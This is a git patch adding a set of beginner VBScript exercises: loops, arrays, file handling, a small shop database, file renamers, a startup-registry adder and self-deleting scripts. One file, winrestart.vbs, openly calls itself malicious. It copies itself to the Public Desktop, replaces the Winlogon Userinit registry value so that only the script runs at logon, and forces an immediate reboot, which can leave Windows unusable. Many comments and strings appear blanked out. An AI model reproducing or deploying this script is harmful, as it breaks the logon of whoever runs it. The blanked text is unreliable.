From 0bf2e1534a669bad73ac01ac5c20b67d183f329a Mon Sep 17 00:00:00 2001 From: Andrey <50486086+DarkCat09@users.noreply.github.com> Date: Tue, 11 Oct 2022 11:29:27 +0400 Subject: [PATCH] Add files via upload --- ReadMe_selfdelete.txt | 1 + add_to_startup.vbs | 21 +++++++++ arrays_and_strings.vbs | 87 ++++++++++++++++++++++++++++++++++++ functions_and_subs.vbs | 49 +++++++++++++++++++++ inputbox_testing.vbs | 17 ++++++++ loops.vbs | 45 +++++++++++++++++++ math_functions.vbs | 46 ++++++++++++++++++++ prefix_renamer.vbs | 24 ++++++++++ prefix_unrenamer.vbs | 24 ++++++++++ selfdelete.vbs | 20 +++++++++ selfdelete_one-line.vbs | 1 + shop_db.vbs | 92 +++++++++++++++++++++++++++++++++++++++ special_folders.vbs | 4 ++ text_files_and_matrix.vbs | 54 +++++++++++++++++++++++ types_and_ifs.vbs | 50 +++++++++++++++++++++ vars_and_msgs.vbs | 25 +++++++++++ winrestart.vbs | 19 ++++++++ working_with_files.vbs | 25 +++++++++++ 18 files changed, 604 insertions(+) create mode 100644 ReadMe_selfdelete.txt create mode 100644 add_to_startup.vbs create mode 100644 arrays_and_strings.vbs create mode 100644 functions_and_subs.vbs create mode 100644 inputbox_testing.vbs create mode 100644 loops.vbs create mode 100644 math_functions.vbs create mode 100644 prefix_renamer.vbs create mode 100644 prefix_unrenamer.vbs create mode 100644 selfdelete.vbs create mode 100644 selfdelete_one-line.vbs create mode 100644 shop_db.vbs create mode 100644 special_folders.vbs create mode 100644 text_files_and_matrix.vbs create mode 100644 types_and_ifs.vbs create mode 100644 vars_and_msgs.vbs create mode 100644 winrestart.vbs create mode 100644 working_with_files.vbs diff --git a/ReadMe_selfdelete.txt b/ReadMe_selfdelete.txt new file mode 100644 index 0000000..e3863ef --- /dev/null +++ b/ReadMe_selfdelete.txt @@ -0,0 +1 @@ +Несколько раз запуская самоуничтожаемый скрипт с backuping=True можно быстро создать кучу вложенных каталогов "backup". \ No newline at end of file diff --git a/add_to_startup.vbs b/add_to_startup.vbs new file mode 100644 index 0000000..6fc1b3a --- /dev/null +++ b/add_to_startup.vbs @@ -0,0 +1,21 @@ +'Script for adding programs to startup using registry +'Author: Chechkenev Andrew (DarkCat09/CodePicker13) + +Option Explicit + +Dim Wsh, pathToProgram, isForAllUsers, root, pathToProgramArr + +Set Wsh = CreateObject("WScript.Shell") +pathToProgram = InputBox("Enter full path to program", "AddToStartup") +isForAllUsers = MsgBox("Add this program to startup for all users?", vbYesNo, "AddToStartup") +'MsgBox pathToProgram & " " & isForAllUsers + +If isForAllUsers = vbYes then +root = "HKEY_LOCAL_MACHINE" +Else +root = "HKEY_CURRENT_USER" +End If + +pathToProgramArr = Split(pathToProgram, "\") +'MsgBox root & "\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & Split(pathToProgramArr(UBound(pathToProgramArr)), ".")(0) +Wsh.RegWrite root & "\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & Split(pathToProgramArr(UBound(pathToProgramArr)), ".")(0), pathToProgram, "REG_SZ" diff --git a/arrays_and_strings.vbs b/arrays_and_strings.vbs new file mode 100644 index 0000000..8bea169 --- /dev/null +++ b/arrays_and_strings.vbs @@ -0,0 +1,87 @@ +Rem + +Rem Option Explicit + +Dim res1 ' MsgBox +Dim values, strChar +Dim oldStrChar + +Dim dyn_arr() ' +Dim fix_arr(10) ' - 11 +Dim matrix_arr(3,2) ' 4x3 + +Rem , ! +Rem .. 2=0,1,2=(-)3. + +Rem +fix_arr(0) = ", " +fix_arr(1) = "! " +fix_arr(2) = " ? " +fix_arr(3) = 5 ' +fix_arr(4) = ". " ' +fix_arr(5) = " " +fix_arr(6) = ", " +fix_arr(7) = " " +fix_arr(8) = " " +fix_arr(9) = " . " +fix_arr(10) = "!" +Rem VBS ! +Rem , - . + +Rem +Rem , . +Rem - . . +Rem . +For i=0 To 3 +For j=0 To 2 +matrix_arr(i,j) = True '. +next +next +Rem . + + +Rem , . +Rem . +values = InputBox(" ", " ") + +Rem , . +Rem , ! +Rem strChar = InStr(values, ",") ' +Rem MsgBox strChar & " " & Len(values) +Rem dyn_arr(0) = Mid(values, 1, strChar) ' + +Rem k = 1 +Rem Do Until (strChar = 0) +Rem oldStrChar = strChar +Rem strChar = InStr(oldStrChar, values, ",") ' +Rem dyn_arr(k) = Mid(values, oldStrChar, strChar) ' +Rem loop + +Rem , +Rem Join. +Rem - . +Rem res1 = MsgBox(dyn_arr.Join, vbOK, " InStr") + + +Rem . +Rem .NET ( .. VB) Java. +Rem ... +Rem Split + +Rem , - Visual Basic +Rem : +temp_arr = Split(values, ",") +For l=0 To UBound(temp_arr) +Redim Preserve dyn_arr(l) ' - ReDim Preserve +dyn_arr(l) = temp_arr(l) +next + +res1 = MsgBox(Join(dyn_arr), vbOK, " Split") + +Rem , . ! +Rem . +Rem String.Split . + + +Rem Join. +MsgBox Join(fix_arr, "") ' diff --git a/functions_and_subs.vbs b/functions_and_subs.vbs new file mode 100644 index 0000000..28af8d4 --- /dev/null +++ b/functions_and_subs.vbs @@ -0,0 +1,49 @@ +Rem +Rem + +Rem Option Explicit + +Dim numA, numB, strS + +Rem - add +Function mathAdd(a, b) +c = a+b +mathAdd = c +End Function + +Rem - subtract +Function mathSbt(a, b) +c = a-b +mathSbt = c +End Function + +Rem - multiple +Function mathMlt(a, b) +c = a*b +mathMlt = c +End Function + +Rem - divide +Function mathDvd(a, b) +c = a/b +mathDvd = c +End Function + +Sub calc(a, b, sign) +If sign = "+" then +MsgBox a & "+" & b & "=" & mathAdd(a, b) +elseif sign = "-" then +MsgBox a & "-" & b & "=" & mathSbt(a, b) +elseif sign = "*" then +MsgBox a & "*" & b & "=" & mathMlt(a, b) +elseif sign = "/" then +MsgBox a & "/" & b & "=" & mathDvd(a, b) +else +MsgBox "!" +End if +End Sub + +numA = CInt(InputBox(" ", "")) +numB = CInt(InputBox(" ","")) +strS = InputBox(" ","") +Call calc(numA,numB,strS) diff --git a/inputbox_testing.vbs b/inputbox_testing.vbs new file mode 100644 index 0000000..d47c301 --- /dev/null +++ b/inputbox_testing.vbs @@ -0,0 +1,17 @@ +Rem InputBox + +Option Explicit + +Dim result + +result = InputBox(" - / - ", "InputTest()") +MsgBox result + +': +' , - . +' result, , . +'VBS, , NULLable. +' . + +' ( OK) +' result . diff --git a/loops.vbs b/loops.vbs new file mode 100644 index 0000000..346ca4b --- /dev/null +++ b/loops.vbs @@ -0,0 +1,45 @@ +Rem +Rem + +Option Explicit + +Dim num, i +Dim res1, res2, res3, res4 ' msgbox + +num = CInt(InputBox(" ", "")) + +Rem Do-While-Loop +i = 0 +Do While (i < num) +i = i + 1 +loop + +res1 = MsgBox(" : " & i & ".", vbOK, "Do-While-Loop") + +Rem Do-Until-Loop +i = 0 +Do Until (i = num) +i = i + 1 +loop + +res2 = MsgBox(" : " & i & ".", vbOK, "Do-Until-Loop") + +Rem While-Wend +i = 0 +While i < num +i = i + 1 +Wend + +res3 = MsgBox(" : " & i & ".", vbOK, "While-Wend") + +Rem For, +i = 0 +For i=0 To 3000 +If i = num then Exit For End if +next + +If Not i = num then +MsgBox "! ( 3000)." +else +res4 = MsgBox(" : " & i & ".", vbOK, "For ") +End if diff --git a/math_functions.vbs b/math_functions.vbs new file mode 100644 index 0000000..11c2bfd --- /dev/null +++ b/math_functions.vbs @@ -0,0 +1,46 @@ +Rem +Rem , +Rem VBS. +Rem ( - ). + +' +'http://vbhack.ru/uroki-vbscript/urok-vbscript-n8-matematicheskie-funkcii-funk.html +' . + +Dim a, b, c, d, e, f, g, h, i, j, k, l, m, n, o + +a = " 10: " & Abs(10) +b = " -10: " & Abs(-10) +c = " 10: " & Atn(10) +d = " 10 : " & Cos(10) +e = " 10 : " & Sin(10) +f = " 10 : " & Tan(10) +g = " 2: " & exp(2) +h = " 15: " & log(15) +i = " 15: " & log(15)/log(10) +j = " 15: " & Sqr(15) +k = " 0: " & Sqr(0) + +min = 3 +max = 18 + +Randomize +l = " 1: " & (Int(1 + (Rnd(3) * 10))) '(Int(min + (Rnd() * max))) +m = " 2: " & Int((10 - 1 + 1) * Rnd + 1) ' Int((max - min + 1) * Rnd + min) +n = " 3: " & Int((10 * Rnd) + 1) ' Int((max * Rnd) + min) +o = " : " & Rnd(10) + +p = " (Int) 10.3: " & Int(10.3) +q = " (Fix) 10.3: " & Fix(10.3) +r = " (Int) -10.3: " & Int(-10.3) +s = " (Fix) -10.3: " & Fix(-10.3) + +Rem Int Fix . +Rem Fix , +Rem Int . +Rem : +Rem http://vbhack.ru/uroki-vbscript/urok-vbscript-n8-matematicheskie-funkcii-funk.html + +MsgBox a & vbCrLf & b & vbCrLf & c & vbCrLf & d & vbCrLf & e & vbCrLf & f & vbCrLf &_ +g & vbCrLf & h & vbCrLf & i & vbCrLf & j & vbCrLf & k & vbCrLf & l & vbCrLf & m &_ +vbCrLf & n & vbCrLf & o & vbCrLf & p & vbCrLf & q & vbCrLf & r & vbCrLf & s diff --git a/prefix_renamer.vbs b/prefix_renamer.vbs new file mode 100644 index 0000000..cab3b60 --- /dev/null +++ b/prefix_renamer.vbs @@ -0,0 +1,24 @@ +'Automatically rename files, adding entered prefix +'by DarkCat09 + +Option Explicit + +Dim prefix, directory +Dim Fso, Dir, File +Set Fso = CreateObject("Scripting.FileSystemObject") + +prefix = InputBox("Enter file prefix:", "Autorename") + +If Wsh.Arguments.Count > 0 Then + directory = Wsh.Arguments(0) +Else + directory = Fso.GetParentFolderName(WScript.ScriptFullName) +End If + +Set Dir = Fso.GetFolder(directory) + +For Each File in Dir.Files + Fso.MoveFile directory & "\" & File.Name, directory & "\" & prefix & File.Name +Next + +MsgBox "OK!" diff --git a/prefix_unrenamer.vbs b/prefix_unrenamer.vbs new file mode 100644 index 0000000..f1fa00c --- /dev/null +++ b/prefix_unrenamer.vbs @@ -0,0 +1,24 @@ +'Automatically rename files, removing entered prefix +'by DarkCat09 + +Option Explicit + +Dim prefix, directory, result +Dim Fso, Dir, File +Set Fso = CreateObject("Scripting.FileSystemObject") + +prefix = InputBox("Enter file prefix:", "Autorename") + +If Wsh.Arguments.Count > 0 Then + directory = Wsh.Arguments(0) +Else + directory = Fso.GetParentFolderName(WScript.ScriptFullName) +End If + +Set Dir = Fso.GetFolder(directory) + +For Each File in Dir.Files + result = File.Path + Fso.MoveFile File.Path, Replace(result, prefix, "", 1, 1, 1) +Next +MsgBox "OK!" diff --git a/selfdelete.vbs b/selfdelete.vbs new file mode 100644 index 0000000..5ae1908 --- /dev/null +++ b/selfdelete.vbs @@ -0,0 +1,20 @@ +Rem Немножко хулиганим с FSO +Rem Самоудаляемый скрипт + +Rem Запустите этот скрипт и он удалится! + +Option Explicit + +Dim FSO, backuping, scriptName +Set FSO = CreateObject("Scripting.FileSystemObject") +backuping = True 'если хотите, чтобы скрипт сам себя забэкапил, установите + 'backuping = True +scriptName = WScript.ScriptName + +Sub BackupScript() +FSO.CreateFolder "backup" +FSO.CopyFile scriptName, "backup\" & scriptName +End Sub + +If backuping = True then Call BackupScript() End if +FSO.DeleteFile scriptName diff --git a/selfdelete_one-line.vbs b/selfdelete_one-line.vbs new file mode 100644 index 0000000..18c07a2 --- /dev/null +++ b/selfdelete_one-line.vbs @@ -0,0 +1 @@ +CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName) diff --git a/shop_db.vbs b/shop_db.vbs new file mode 100644 index 0000000..c4ea63b --- /dev/null +++ b/shop_db.vbs @@ -0,0 +1,92 @@ +Rem +Rem +, Select ... case Err +Rem + +On Error Resume Next ' - +Rem Option Explicit + +Dim res1 ' MsgBox +Dim exitFromMenu + +Dim prodFileName, optionsDelim +prodFileName = "products.csv" ' +optionsDelim = "," ' (,) + ' , + ' optionsDelim = ";" +exitFromMenu = False + +Rem , Java .NET: +Set Products = CreateObject("Scripting.Dictionary") + +Dim FSO, ProdFile +Set FSO = CreateObject("Scripting.FileSystemObject") + +Sub addProducts() +Set ProdFile = FSO.OpenTextFile(prodFileName, 8, True, -1) +prodOptions = "; " + +Do Until (prodOptions = "") + +prodOptions = InputBox(" ( ), ." &_ +vbCrLf & ": 0.5 ; 25", " ") + +splitedOpts = Split(prodOptions, "; ") +If UBound(splitedOpts) > 0 then Products.Add splitedOpts(0), splitedOpts(1) End if ' - 0? +loop + +For Each prodkey In Products.keys ' ... +ProdFile.Write(prodkey & optionsDelim &_ +Products(prodkey) & vbCrLf) ' ( - . + + () - ). +next + +ProdFile.Close +End Sub + +Sub readProducts() +Set ProdFile = FSO.OpenTextFile(prodFileName, 1, False, -1) +MsgBox Err.Number +MsgBox ProdFile.ReadAll() +ProdFile.Close +End Sub + +Sub removeAllProducts() +FSO.DeleteFile prodFileName, True +End Sub + +Function computeDiscount(cost, pct) +Rem cost - . +Rem pct - , . +itog = cost - (cost/100*pct) +computeDiscount = itog +End Function + +Rem + +Do While (exitFromMenu = False) ' , + +selected_function = InputBox(" :" & vbCrLf & "1 - " & vbCrLf &_ +"2 - " & vbCrLf & "3 - " & vbCrLf &_ +"4 - " & vbCrLf & "5 - ", " ") + +Rem select...case - , +Rem C- switch...case. +Rem . +Select case selected_function +case "1" +Call addProducts() +case "2" +Call readProducts() +Rem If Err.Number = 53 then MsgBox " !" End if +case "3" +Call removeAllProducts() +case "4" +header = " " +cost = CInt(InputBox(" :", header)) +prct = CInt(InputBox(", %:", header)) +res1 = MsgBox(computeDiscount(cost, prct), vbOK, header) +case "5" +exitFromMenu = True +case else +MsgBox "!" & vbCrLf & " ." & vbCrLf & " , 5." +End Select +loop diff --git a/special_folders.vbs b/special_folders.vbs new file mode 100644 index 0000000..5f30ab5 --- /dev/null +++ b/special_folders.vbs @@ -0,0 +1,4 @@ +Dim Fso +Set Fso = CreateObject("Scripting.FileSystemObject") +MsgBox "0 = " & Fso.GetSpecialFolder(0) & vbCrLf & "1 = " & Fso.GetSpecialFolder(1) & vbCrLf & "2 = " & Fso.GetSpecialFolder(2) +MsgBox "System drive = " & Fso.GetSpecialFolder(0).Drive diff --git a/text_files_and_matrix.vbs b/text_files_and_matrix.vbs new file mode 100644 index 0000000..706337b --- /dev/null +++ b/text_files_and_matrix.vbs @@ -0,0 +1,54 @@ +Rem Текстовые файлы и Матрицы +Rem Имитация Светодиодной Матрицы в Блокноте. + +Rem НЕ работает! + +Option Explicit + +Dim i, j +Dim FSO, myFile +Dim matrix(7,3) 'инициализируем двумерный массив или матрицу 8x4 + +Set FSO = CreateObject("Scripting.FileSystemObject") +Set myFile = FSO.CreateTextFile("matrix.txt",True,True) +myFile.Close + +Sub writeMatrix() +Set myFile = FSO.OpenTextFile("matrix.txt",2,True,0) 'открываем matrix.txt в режиме записи (2) с кодировкой ASCII (0) + +For j=0 To 3 +For i=0 To 7 +If matrix(i,j)=True then myFile.Write(".") else myFile.Write(" ") End if +next +myFile.Write(vbCrLf) +next + +myFile.Close 'закрываем поток +End Sub + +Rem Заполнение +For i=0 To 7 +For j=0 To 3 +matrix(i, j)=True 'включено +next +next + +writeMatrix() + +Rem Каёмочка +For i=0 To 7 +matrix(i, 0)=True +next +For j=0 To 3 +matrix(0, j)=True +next +For i=0 To 7 +matrix(i, 7)=True +next +For j=0 To 3 +matrix(7, j)=True +next + +writeMatrix() + +Rem ... diff --git a/types_and_ifs.vbs b/types_and_ifs.vbs new file mode 100644 index 0000000..82f36ec --- /dev/null +++ b/types_and_ifs.vbs @@ -0,0 +1,50 @@ +Rem +Rem + + +Option Explicit + +Dim a, b +Dim num +Dim name, result +Dim brthdate +Dim instrChar + +a = 10 +b = 20 + +MsgBox "!" + +Rem +if a = 10 then MsgBox "a = 10!" End if +if b = 20 then MsgBox "b = 20!" else MsgBox "b = 20!" End if + +Rem +Rem CInt - Convert to Integer +num = CInt(InputBox(" ", "")) + +Rem if, elseif, else, End if - Bash Python +If num < a then +MsgBox " " & a & "." +elseif num > b then +MsgBox " " & b & "." +else +Rem vbCrLf - +MsgBox " " & a & " " & b & "," & vbCrLf & ".. , " & a & ", , " & b & "." +End if + +Rem +name = InputBox(" ", "") +result = MsgBox(", " & name & "!", vbOKCancel, "") +If result = vbOK then MsgBox "!" End if + +Rem +Rem CDate - Convert to Date +brthdate = CDate(InputBox(" .. //", "")) + +instrChar = InStr(name, "") ' - - + +If (Not instrChar = 0) And Day(brthdate) = 13 And Month(brthdate) = 7 And Year(brthdate) = 2009 then +MsgBox ", !" +else +MsgBox "OK" +End if diff --git a/vars_and_msgs.vbs b/vars_and_msgs.vbs new file mode 100644 index 0000000..c2e8a98 --- /dev/null +++ b/vars_and_msgs.vbs @@ -0,0 +1,25 @@ +Rem , . + +' . +Rem . +Rem +Rem Option Explicit +Rem , +Rem . +Rem , .. . +Rem name. +Rem ! + +Dim a, b + +a = "!" +b = 10 + +MsgBox a +MsgBox b +MsgBox a & " " & b + +name = InputBox(" ?", "") +result = MsgBox(", " & name & "!", vbOKCancel, " ") +Rem MsgBox "!", vbOK, " " +MsgBox "!" diff --git a/winrestart.vbs b/winrestart.vbs new file mode 100644 index 0000000..95ad3a0 --- /dev/null +++ b/winrestart.vbs @@ -0,0 +1,19 @@ +' Просто вредоносный скрипт +' by DarkCat09 + +Dim Wsh, Fso +Set Wsh = CreateObject("WScript.Shell") +Set Fso = CreateObject("Scripting.FileSystemObject") + +Dim sysdrive, sysdir +sysdrive = Fso.GetSpecialFolder(0).Drive +sysdir = Fso.GetSpecialFolder(1) + +If Not Fso.FileExists(sysdrive & "\Users\Public\Desktop\winrestart.vbs") Then +Fso.CopyFile WScript.ScriptFullName, sysdrive & "\Users\Public\Desktop\winrestart.vbs" +End If + +Wsh.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit", _ +sysdir & "\wscript.exe " & sysdrive & "\Users\Public\Desktop\winrestart.vbs,", "REG_SZ" + +Wsh.Run "shutdown /r /t 0", 1, False diff --git a/working_with_files.vbs b/working_with_files.vbs new file mode 100644 index 0000000..7097de4 --- /dev/null +++ b/working_with_files.vbs @@ -0,0 +1,25 @@ +Rem +Rem + +Option Explicit + +Dim FSO, myText +Set FSO = CreateObject("Scripting.FileSystemObject") ' + +Rem +If Not FSO.FolderExists("Notes") Then FSO.CreateFolder "Notes" End if + +Rem +Set myText = FSO.CreateTextFile("Notes\1.txt",True,True) ' 1.txt, - (True), Unicode (True). +myText.Close ' TextStream, . + +Set myText = FSO.OpenTextFile("Notes\1.txt",2,False,-1) ' 1.txt (2), Unicode (-1) +myText.WriteLine(InputBox(" ", "")) ' +MsgBox "! !" ' +Rem MsgBox myText.ReadAll() ' , .. (2). +myText.Close ' + +FSO.MoveFile "Notes\1.txt", "2.txt" ' +WScript.Sleep 5000 ' 5000=5 +FSO.DeleteFile "2.txt" ' +FSO.DeleteFolder "Notes", True ' , read-only